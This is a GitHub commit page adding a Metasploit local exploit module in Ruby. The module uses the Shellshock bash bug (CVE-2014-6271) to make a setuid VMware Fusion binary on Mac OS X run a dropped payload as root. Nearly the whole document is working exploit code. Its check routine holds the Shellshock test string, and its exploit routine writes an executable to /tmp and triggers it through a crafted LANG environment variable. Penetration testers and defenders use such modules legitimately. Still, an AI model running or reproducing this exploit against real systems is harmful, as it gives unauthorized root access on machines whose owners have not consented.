Skip to content

Commit 37753e6

Browse files
committed
Land rapid7#3882, @jvennix-r7's vmware/bash privilege escalation module
2 parents fd34bdb + a9049f4 commit 37753e6

File tree

1 file changed

+90
-0
lines changed

1 file changed

+90
-0
lines changed
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Exploit::Local
10+
Rank = NormalRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit',
19+
'Description' => %q{
20+
This abuses the bug in bash environment variables (CVE-2014-6271) to get
21+
a suid binary inside of VMWare Fusion to launch our payload as root.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Stephane Chazelas', # discovered the bash bug
27+
'juken', # discovered the VMWare priv esc
28+
'joev' # msf module
29+
],
30+
'References' =>
31+
[
32+
[ 'CVE', '2014-6271' ]
33+
],
34+
'Platform' => 'osx',
35+
'Arch' => [ ARCH_X86_64 ],
36+
'SessionTypes' => [ 'shell', 'meterpreter' ],
37+
'Targets' => [
38+
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
39+
{
40+
'Platform' => 'osx',
41+
'Arch' => ARCH_X86_64
42+
}
43+
]
44+
],
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => 'Sep 24 2014'
47+
))
48+
49+
register_options([
50+
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
51+
], self.class)
52+
end
53+
54+
def check
55+
check_str = Rex::Text.rand_text_alphanumeric(5)
56+
# ensure they are vulnerable to bash env variable bug
57+
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
58+
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
59+
60+
Exploit::CheckCode::Vulnerable
61+
else
62+
Exploit::CheckCode::Safe
63+
end
64+
end
65+
66+
def exploit
67+
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/VMware Fusion Services'
68+
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
69+
processes.delete_if { |p| p =~ /grep/ }
70+
71+
if processes.length > 0
72+
print_error("VMware is already running the following processes:\n #{processes.join("\n")}")
73+
print_error("These processes must be killed before exploiting.")
74+
return
75+
end
76+
77+
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
78+
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
79+
80+
print_status("Writing payload file as '#{payload_file}'")
81+
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
82+
write_file(payload_file, exe)
83+
register_file_for_cleanup(payload_file)
84+
cmd_exec("chmod +x #{payload_file}")
85+
86+
print_status("Running VMWare services...")
87+
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}'")
88+
end
89+
90+
end

0 commit comments

Comments
 (0)